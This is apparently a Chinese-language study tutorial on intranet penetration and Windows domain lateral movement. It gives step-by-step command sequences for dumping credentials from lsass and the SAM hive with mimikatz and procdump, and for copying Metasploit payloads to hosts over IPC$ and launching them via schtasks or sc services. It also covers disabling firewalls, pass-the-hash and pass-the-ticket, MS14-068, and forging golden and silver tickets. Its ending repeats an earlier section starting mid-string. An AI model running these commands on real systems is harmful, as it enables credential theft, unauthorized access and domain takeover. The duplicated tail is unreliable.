内网渗透
文章目录
基础知识
附上小迪的图:以下就是一个标准的内网环境
内网渗透,从字面上理解便是对目标服务器所在内网进行渗透并最终获取域控权限的一种渗透。内网渗透的前提需要获取一个Webshell,可以是低权限的Webshell,因为可以通过提权获取高权限。
在进行内网渗透之前需要了解一个概念,域环境。在内网中,往往可能存在几百上千台机器,例如需要对机器进行升级、打补丁、设置权限等,管理员不可能一台一台地更新修改。因此便衍生出了域环境。管理员以一台主机作为域控制器新建一个域,将所有其他主机加入域中,以域控来操作其他主机。因为域控的高权限,导致了域控所在的主机的管理员账号密码,可以登录任意一台主机,所以内网渗透的最终目标,往往便是拿下域控(DC)的权限。
信息收集
在内网中也有信息收集,正所谓“知己知彼,百战不殆”。
常用命令
systeminfo #查看系统详细信息,如OS版本、补丁安装情况,可以根据这些信息筛选可利用的漏洞
net start #查看启动进程,可以根据启动进程判断主机在域中扮演的角色
tasklist #查看进程列表
schtasks #计划任务
netstat -ano #查看端口开放情况
net view /domain #判断是否存在域
ipconfig /all #查看主机名、域DNS、IP
net view #查看域内主机
net time /domain #域内主机以域服务器时间为准,故该命令可用于判断DC
nslookup 域名 #查看IP
net config workstation #查看登录信息
whoami /all #查看用户信息
net user /domain #查看域内用户,可以将其作为字典,对其他主机的密码进行爆破
for /L %I in (1,1,254) DO @ping -w 1 -n 1 192.168.12.%I | findstr "TTL=" #探针域内存活主机 当然也可以借助nmap、masscan等第三方工具或empire、nishang等第三方脚本,但是使用系统命令的最大好处就是不用考虑免杀。
计算机用户Hash、明文获取:
mimikatz:Win; mimipenguin:Linux。
计算机各种协议、服务口令的获取:
LaZagne:适用于Windows、Linux、Mac。支持面广,但功能一般。
XenArmor:Win,付费
探测域内存活主机及地址信息:
自带的内部命令(.bat)、nmap、masscan、powershell第三方脚本:empire、nishang。
nishang下载:
https://github.com/samratashok/nishang
需要注意的是,Mimikatz属于第三方软件,直接上传到目标主机可能被杀毒软件查杀,这时我们可以配合官方软件Procdump,将Procdump上传目标主机获取用户信息(该文件不可读),使用本地的Mimikatz打开Procdump获取的用户信息。
系统默认常见用户身份:
Domain Admins:域管理员(默认对域控制器有完全控制权)
Domain Computers:域内机器
Domain Controllers:域控制器
Domain Guest:域访客,权限低
Domain Users:域用户
Enterprise Admins:企业系统管理员用户(默认对域控制器有完全控制权)
横向渗透(重点)
获取明文密码或Hash密码(需要管理员权限)
PwDump7工具
下载地址:https://www.openwall.com/passwords/windows-pwdump
Mimikatz工具
下载地址:https://github.com/gentilkiwi/mimikatz
privilege::debug // 提升至debug权限
sekurlsa::logonpasswords // 抓取密码
Procdump与Mimikatz配合使用
Procdump是微软官方发布的工具,所以杀软不会拦截,其可以用来将目标lsass文件导出。下载地址:https://docs.microsoft.com/zh-cn/sysinternals/downloads/procdump
先用在目标机器上传微软的工具Procdump,导出其lsass.exe:
procdump64.exe -accepteula -ma lsass.exe lsass.dmp
将在目标机器上导出的lsass.dmp下载到本地后,执行mimikatz导出lsass.dmp里面的密码和hash:
sekurlsa::minidump 目录\lsass.dmp // 将导出的lsass.dmp载入到mimikatz中
sekurlsa::logonpasswords full // 获取密码
通过SAM和System文件抓取密码和Hash
先利用注册表命令将目标机的sam或system文件导出,需要管理员权限:
reg save hklm\sam sam.hive
reg save hklm\system system.hive
然后,将目标机上的sam.hive和system.hive下载到本地,利用mimikatz读取sam和system文件获取NTLM Hash:
lsadump::sam /sam:sam.hive /system:system.hive
也可以直接使用mimikatz读取本地SAM文件,获得密码Hash:
privilege::debug
token::elevate
lsadump::sam
Quarks PwDump工具
下载地址:https://github.com/quarkslab/quarkspwdump
QuarksPwDump.exe --dump-hash-local // 导出本地hash值
QuarksPwDump.exe -dhl
QuarksPwDump.exe -dhdc // 导出内存中的域控哈希值
QuarksPwDump.exe --dump-hash-domain-cached
利用Windows远程连接命令进行横向渗透
建立IPC连接
net use \\<DC的IP>\ipc$ "password" /user:"username"
net use \\目标IP\ipc$ "615DAnb" /user:"administrator"
net use // 查看当前主机所建立的连接
列出DC上C盘的目录:
列出DC上C盘的目录:
dir \\目标IP\c$
将文件复制到目标主机DC的C盘上面去:(在实战中,我们可以将木马程序复制到目标主机上去)
copy C:\Users\douser\Desktop\whoami.txt \\目标IP\c$
建立 ipc$ 连接的条件:
建立 ipc$ 连接的条件:
目标主机开启了139和445端口
目标主机管理员开启了ipc$默认共享
在使用完ipc连 接 后 , 需 要 删 除 i p c 连接后,需要删除ipc连接后,需要删除ipc,命令如下:
net use \\IP /del /y
除了IPC链接,我们还可以与目标主机的其他共享建立连接,比如建立c$盘共享连接:
net use \\目标IP\c$ "615DAnb" /user:"administrator
利用Windows计划任务进行横向渗透
at 命令是Windows自带的用于创建计划任务的命令,但是他主要工作在Windows Server 2008之前版本的操作系统中。
操作如下:
\1. 先与目标主机建立ipc连接。
\2. 再使用net time命令确定目标主机DC的当前时间:
net time \\目标IP
3.然后使用copy命令远程操作,将metasploit生成的payload文件复制到目标系统C盘中:
copy shell.exe \\目标IP\c$
最后使用计时任务启(at&schtasks)动木马
明文传递at&schtasks
at&schtasks用于创建定时任务,其中at<Windows2012,schtasks>=Windows2012。
这里仅介绍 at&schtasks 命令的使用,在已知目标系统的用户明文密码的基础上,直接可以在远程主机上执行命令。
命令
#at < Windows2012 成立条件
net use \\192.168.3.21\ipc$ "Admin12345" /user:god.org\ad
ministrator # 建立 ipc 连接:
copy add.bat \\192.168.3.21\c$ #拷贝执行文件到目标机器
at \\192.168.3.21 15:47 c:\add.bat #添加计划任务
#schtasks >=Windows2012 成立条件
net use \\目标IP\ipc$ "615DAnb" /user:zy.com\administrator # 建立 ipc 连接:
copy test.exe \\目标IP\c$ #复制文件到其 C 盘
schtasks /create /s 目标IP /ru "SYSTEM" /tn adduser /sc DAILY /tr c:\test.exe /F #创建 adduser 任务,对应执行文件
schtasks /run /s 目标IP /tn adduser /i #运行 adduser 任务
schtasks /delete /s 目标IP /tn adduser /f#删除 adduser 任务
流程概述:
获取到某域主机权限 -> minikatz 得到密码(明文,hash)-> 用到信息收集里面域用户的列表当做用户名字典->用到密码明文当做密码字典 -> 尝试连接 -> 创建计划任务(at|schtasks) -> 执行文件可为后门或者相关命令。
利用流程:
1. 建立 IPC 链接到目标主机
2. 拷贝要执行的命令脚本到目标主机
3. 查看目标时间,创建计划任务(at、schtasks)定时执行拷贝到的脚本
4. 删除 IPC 链接
#建立连接
net use \\server\ipc$"password" /user:username # 工作组
net use \\server\ipc$"password" /user:domain\username #域内
dir \\xx.xx.xx.xx\C$\ # 查看文件列表
copy \\xx.xx.xx.xx\C$\1.bat 1.bat # 下载文件
copy 1.bat \\xx.xx.xx.xx\C$ # 复制文件
net use \\xx.xx.xx.xx\C$\1.bat /del # 删除 IPC
net view xx.xx.xx.xx # 查看对方共享
#建立 IPC 常见的错误代码
(1)5:拒绝访问,可能是使用的用户不是管理员权限,需要先提升权限
(2)51:网络问题,Windows 无法找到网络路径
(3)53:找不到网络路径,可能是 IP 地址错误、目标未开机、目标 Lanmanserver 服务未启动、有防火墙等问题
(4)67:找不到网络名,本地 Lanmanworkstation 服务未启动,目标删除 ipc$
(5)1219:提供的凭据和已存在的凭据集冲突,说明已建立 IPC$,需要先删除
(6)1326:账号密码错误
(7)1792:目标 NetLogon 服务未启动,连接域控常常会出现此情况
(8)2242:用户密码过期,目标有账号策略,强制定期更改密码
#建立 IPC 失败的原因
(1)目标系统不是 NT 或以上的操作系统
(2)对方没有打开 IPC$共享
(3)对方未开启 139、445 端口,或者被防火墙屏蔽
(4)输出命令、账号密码有错误
创建Windows服务来进行横向渗透
使用条件:
1 当前跳板机用户具有管理员权限(因为要创建服务)。
2 与目标机器已经建立ipc连接
利用 sc 命令
SC工具命令集。该工具集主要用来对操作系统服务进行管理。
流程基本如下:
\1. 先让跳板机与内网目标机DC建立ipc连接。
\2. 然后让跳板机使用copy命令远程操作,将metasploit生成的payload文件bind.exe复制到目标主机DC系统C盘中。
\3. 再在目标主机DC上创建一个名称为“backdoor”的服务。命令如下:
sc \\[主机名/IP] create [servicename] binpath= "[path]" #创建计划任务启动程序
sc \\WIN-ENS2VR5TR3N create bindshell binpath= "c:\bind.exe" #"注意这里的格式,“=”后面是必须空一格的,否则会出现错误。
\4. 立即启动该服务:
sc \\WIN-ENS2VR5TR3N start bindshell #执行后,msf成功上线域控:
\5. 使用完后删除刚才创建的服务
sc \\[host] delete [servicename] #删除服务
我们还可以通过设置服务来关闭防火墙:
sc \\WIN-ENS2VR5TR3N create unablefirewall binpath= "netsh advfirewall set allprofiles state off"
sc \\WIN-ENS2VR5TR3N start unablefirewall
利用PsExec工具进行横向渗透
下载地址:https://docs.microsoft.com/zh-cn/sysinternals/downloads/psexec
psexec 是 windows 下非常好的一款远程命令行工具。psexec的使用不需要对方主机开方3389端口,只需要对方开启admin$共享 (该共享默认开启)。但是,假如目标主机开启了防火墙,psexec也是不能使用的,会提示找不到网络路径。由于PsExec是Windows提供的工具,所以杀毒软件将其列在白名单中。
psexec的使用前提:
对方主机开启了 admin$ 共享,如果关闭了admin$共享,会提示:找不到网络名
对方未开启防火墙
如果是工作组环境,则必须使用administrator用户连接(因为要在目标主机上面创建并启动服务),使用其他账号(包括管理员组中的非administrator用户)登录都会提示访问拒绝访问。
如果是域环境,即可用普通域用户连接也可以用域管理员用户连接。连接普通域主机可以用普通域用户,连接域控只能用域管理员账户。
基本操作命令如下:
PsExec.exe -accepteula \\DC的IP -u 域名\用户名 -p 密码 -s cmd.exe
-accepteula:第一次运行psexec会弹出确认框,使用该参数就不会弹出确认框
-u:用户名
-p:密码
-s:以system权限运行运程进程,获得一个system权限的交互式shell。如果不使用该参数,会获得一个连接所用用户权限的shell
Metasploit下的PsExec模块(比较慢)
exploit/windows/smb/psexec // 用psexec执行系统命令,与psexec.exe相同
exploit/windows/smb/psexec_psh // 使用powershell作为payload(PsExec的PowerShell版本)
auxiliary/admin/smb/psexec_command // 在目标机器上执行系统命令
exploit/windows/smb/ms17_010_psexec
明文hash传递 Impacket的横向渗透
什么是impacket(kali自带)
Impacket是用于处理网络协议的Python类的集合。Impacket专注于提供对数据包的简单编程访问,以及协议实现本身的某些协议(例如SMB1-3和MSRPC)。数据包可以从头开始构建,也可以从原始数据中解析,而面向对象的API使处理协议的深层次结构变得简单。该库提供了一组工具,作为在此库找到可以执行的操作的示例。
Impacket中包含以下协议
-
以太网,Linux“Cooked”数据包捕获
-
IP,TCP,UDP,ICMP,IGMP,ARP
-
支持IPv4和IPv6
-
NMB和SMB1,SMB2和SMB3(高级实现)
-
MSRPC版本5,通过不同的传输协议:TCP,SMB / TCP,SMB/NetBIOS和HTTP
-
使用密码/哈希/票据/密钥进行简单的NTLM和Kerberos身份验证
-
部分或完全实现以下MSRPC接口:EPM,DTYPES,LSAD,LSAT,NRPC,RRP,SAMR,SRVS,WKST,SCMR,BKRP,DHCPM,EVEN6,MGMT,SASEC,TSCH,DCOM,WMI
-
部分TDS(MSSQL)和LDAP协议实现。
Impacket中的脚本
远程执行
psexec.py:类似psexec的功能示例,使用remcomsvc(https://github.com/kavika13/remcom)
smbexec.py:与使用remcomsvc的psexec类似的方法。这里描述了该技术。我们的实现更进一步,实例化本地smbserver以接收命令的输出。这在目标计算机没有可写共享可用的情况下很有用。
atexec.py:此示例通过Task Scheduler服务在目标计算机上执行命令,并返回已执行命令的输出。
wmiexec.py:通过Windows Management Instrumentation使用的半交互式shell,它不需要在目标服务器上安装任何服务/代理,以管理员身份运行,非常隐蔽。
dcomexec.py:类似于wmiexec.py的半交互式shell,但使用不同的DCOM端点。目前支持MMC20.Application,ShellWindows和ShellBrowserWindow对象。
GetTGT.py:指定密码,哈希或aesKey,此脚本将请求TGT并将其保存为ccache
GetST.py:指定ccache中的密码,哈希,aesKey或TGT,此脚本将请求服务票证并将其保存为ccache。如果该帐户具有约束委派(具有协议转换)权限,您将能够使用-impersonate参数代表另一个用户请求该票证。
GetPac.py:此脚本将获得指定目标用户的PAC(权限属性证书)结构,该结构仅具有正常的经过身份验证的用户凭据。它通过混合使用[MS-SFU]的S4USelf +用户到用户Kerberos身份验证组合来实现的。
GetUserSPNs.py:此示例将尝试查找和获取与普通用户帐户关联的服务主体名称。
GetNPUsers.py:此示例将尝试为那些设置了属性“不需要Kerberos预身份验证”的用户获取TGT(UF_DONT_REQUIRE_PREAUTH).输出与JTR兼容
ticketer.py:此脚本将从头开始或基于模板(根据KDC的合法请求)创建金/银票据,允许您在PAC_LOGON_INFO结构中自定义设置的一些参数,特别是组、外接程序、持续时间等。
raiseChild.py:此脚本通过(ab)使用Golden Tickets和ExtraSids的基础来实现子域到林权限的升级。
……………………
优点:方便快捷,不光支持明文,还支持hash,还自带提权。。
缺点:第三方工具,会受到杀毒软件或防护的影响。如果目标主机有杀软或防护的话,要对该软件进行免杀。
pth&ptk
PTH(pass the hash) #利用 lm 或 ntlm 的值进行的渗透测试
PTK(pass the key) #利用的 ekeys aes256 进行的渗透测试
#PTH 在内网渗透中是一种很经典的攻击方式,原理就是攻击者可以直接通过 LM Hash 和 NTLM Hash 访问远程主机或服务,而不用提供明文密码。 如果禁用了 ntlm 认证,PsExec 无法利用获得的 ntlm hash 进行远程连接,但是使用 mimikatz 还是可 以攻击成功。对于 8.1/2012r2,安装补丁 kb2871997 的 Win 7/2008r2/8/2012 等,可以使用 AES keys 代替 NT hash 来实现 ptk 攻击,
总结:KB2871997 补丁后的影响 pth:没打补丁用户都可以连接,打了补丁只能 administrator 连接 ptk:打了补丁才能用户都可以连接,采用 aes256 连接
针对以上情况,我们提供了如下解决方案:
1.利用hash传递(pth、ptk等)进行移动
2.利用注册表操作开启 Wdigest Auth 值进行获取
3.利用工具或第三方平台(Hashcat)进行破解获取
Windows认证采用LM Hash及NTLM Hash加密算法,个人系统在Windows vista后,服务器系统在Windows 2003以后,认证方式均为NTLM Hash。
如果仅得到了Hash,既可以尝试在本机破解,也可以使用前面介绍的impacket。impacket中的工具能传递hash并能直接执行系统命令。
PTH、PTK均可以使用mimikatz进行获取和攻击,这里不再赘述,mimikatz相关使用自行百度。
hash破解工具hashcat下载:https://github.com/hashcat/hashcat
pth攻击流程
1 攻击者在靶机上上传mimikatz 并用mimikatz抓取hash:
privilege::debug
sekurlsa::logonpasswords
2 将得到的administrator的hash添加到lsass中:
privilege::debug
sekurlsa::pth /user:administrator /domain:workgroup /ntlm:0000000000000000000000000000000000000
3成功会弹出一个新的shell界面,此时就可以访问远程主机或服务了(要使用主机名,不能用IP,否则报错)
4最后,攻击者便可以利用靶机(Windows7)作为跳板机任意访问内网其他机器中的文件,进行上传、下载等操作,还可以在目标机器上运行其他命令,以获取目标机器的目录结构、用户列表等信息。
ptk攻击流程
把ntlm换为aes256即可。
ptt
PTT(pass the ticket) #利用的票据凭证 TGT 进行的渗透测试
PTT攻击就不是简单的NTLM认证了,它是利用Kerberos协议进行攻击的。
Kerberos 协议具体工作方法,在域中,简要介绍一下:
1.客户机将明文密码进行 NTLM 哈希,然后和时间戳一起加密(使用
krbtgt 密码 hash 作为密钥),发送给 kdc(域控),kdc 对用户进行检
测,成功之后创建 TGT(Ticket-Granting Ticket)
2.将 TGT 进行加密签名返回给客户机器,只有域用户 krbtgt 才能读
取 kerberos 中 TGT 数据
3.然后客户机将 TGT 发送给域控制器 KDC 请求 TGS(票证授权服
务)票证,并且对 TGT 进行检测
4.检测成功之后,将目标服务账户的 NTLM 以及 TGT 进行加密,将
加密后的结果返回给客户机。
说白了,票据就跟cookie一样,我们需要获取新鲜的cookie(未过期,主机登录后十小时左右过期),然后注入内存当中,通过伪装混过认证。
利用MS14-068
下载地址:https://github.com/abatchy17/WindowsExploits/tree/master/MS14-068
需要的条件如下:
-
域内任意用户SID
-
域内任意用户密码
执行如下命令生成TGT票据:
ms14-068.exe -u 域成员名@域名 -s -d DC的ip -p 密码
ms14-068.exe -u 域成员名@域名 -s 域成员sid -d 域控制器ip地址 -p 域成员密码
利用mimikatz将票据注入到当前内存中,伪造凭证:
mimikatz # kerberos::purge //清空当前机器中所有凭证,如果有域成员凭证会影响凭证伪造
mimikatz # kerberos::list //查看当前机器凭证
mimikatz # kerberos::ptc 票据文件 //将票据注入到内存中
票据注入成功后,攻击者就可以利用Windows 7可任意访问域中所有机器,可以使用net use进行登录或者使用psexec,wmi等方法进行远程执行命令。如用net use登录域控(WIN-ZY):
net use \\WIN-ZY
后面利用msf生成木马,可以通过copy命令上传到域控,再通过sc命令执行木马上线木马。
黄金票据
原理
黄金票据就是伪造krbtgt用户的TGT票据,krbtgt用户是域控中用来管理发放票据的用户,拥有了该用户的权限,就可以伪造系统中的任意用户
利用前提:
拿到域控(没错就是拿到域控QAQ),适合做权限维持
有krbtgt用户的hash值(aes hash ntlm hash等都可以,后面指定一下算法就行了)
条件要求:
域名
域的SID 值
域的KRBTGT账户NTLM密码哈希
伪造用户名
利用
(1)获取信息
1、获取域名
whoami
net time /domain
ipconfig /all
2、获取SID
whoami /all
3、获取域的KRBTGT账户NTLM密码哈希或者aes-256值
用mimikatz
lsadump::dcsync /domain:zy.com /user:krbtgt /csv
4、伪造管理员用户名
net group "domain admins"
(2)伪造TGT
1、清除所有票据
klist purge
2、使用mimikatz伪造指定用户的票据并注入到内存
kerberos::golden /admin:administrator /domain:zy.com /sid:S-1-5-21-1373374443-4003574425-2823219551 /krbtgt:9f3af61
白银票据
1、原理
黄金票据是伪造TGT(门票发放票),而白银票据则是伪造ST(门票),这样的好处是门票不会经过KDC,从而更加隐蔽,但是伪造的门票只对部分服务起作用,如cifs(文件共享服务),mssql,winrm(windows远程管理),DNS等等
利用前提:
拿到目标机器hash(是目标机,不一定是域控)
条件要求:
域名
域sid
目标服务器FQDN
可利用的服务
服务账号的NTML HASH
需要伪造的用户名
2、利用
(1)信息收集
1、获取域名
whoami
net time /domain
ipconfig /all
2、获取SID
2、获取SID
whoami /all
3、目标机器的FQDN
net time /domain
就是hostname+域名 /target:\\WIN-75NA0949GFB.zy.com
4、可利用的服务CIFS(磁盘共享的服务)
/service:CIFS
5、要伪造的用户名
/user:Administrator
6、服务账号的ntlm hash(Primary Username : WIN-75NA0949GFB 带 带 带的hash,不是admin的)
/rc4:08d93ddf15a6309a46daaa7ec8565296
#生成了mimikatz.log文件(域控主机执行)
7、利用文件共享服务cifs,获取服务账号得NTMLhash值(在14068基础上使用mimikatz获取)
注意:服务账号就是域控名$
mimikatz.exe privilege::debug sekurlsa::logonpasswords exit >> 2.txt
(2)伪造ST
1、清除所有票据
klist purge
2、使用mimikatz伪造指定用户的票据并注入到内存
kerberos::golden /domain:域名 /sid:填sid /target:完整的域控名 /service:cifs /rc4:服务账号NTMLHASH /user:用户名 /ptt
SOCKS代理
我们攻击机一般与被攻击机处于不同的局域网,不能互相通信,所以我们要搭建代理,利用一台能上外网的主机作为跳板,攻击机能与被攻击机的内网正常通信
代理分正向代理和反向代理,正向代理就是攻击机去主动访问被攻击机,反向代理反之
在vps上设置好服务端,把客户端上传到可以访问外网的被攻击机,本地攻击机设置socks代理
frp
下载地址:https://github.com/fatedier/frp
ew
下载地址:https://github.com/idlefire/ew
nps
下载地址:https://github.com/ehang-io/nps
565296
#生成了mimikatz.log文件(域控主机执行)
7、利用文件共享服务cifs,获取服务账号得NTMLhash值(在14068基础上使用mimikatz获取)
注意:服务账号就是域控名$
mimikatz.exe privilege::debug sekurlsa::logonpasswords exit >> 2.txt
(2)伪造ST
1、清除所有票据
klist purge
2、使用mimikatz伪造指定用户的票据并注入到内存
kerberos::golden /domain:域名 /sid:填sid /target:完整的域控名 /service:cifs /rc4:服务账号NTMLHASH /user:用户名 /ptt
## SOCKS代理
我们攻击机一般与被攻击机处于不同的局域网,不能互相通信,所以我们要搭建代理,利用一台能上外网的主机作为跳板,攻击机能与被攻击机的内网正常通信
代理分正向代理和反向代理,正向代理就是攻击机去主动访问被攻击机,反向代理反之
在vps上设置好服务端,把客户端上传到可以访问外网的被攻击机,本地攻击机设置socks代理
**frp**
下载地址:https://github.com/fatedier/frp
ew
下载地址:https://github.com/idlefire/ew
nps
下载地址:https://github.com/ehang-io/nps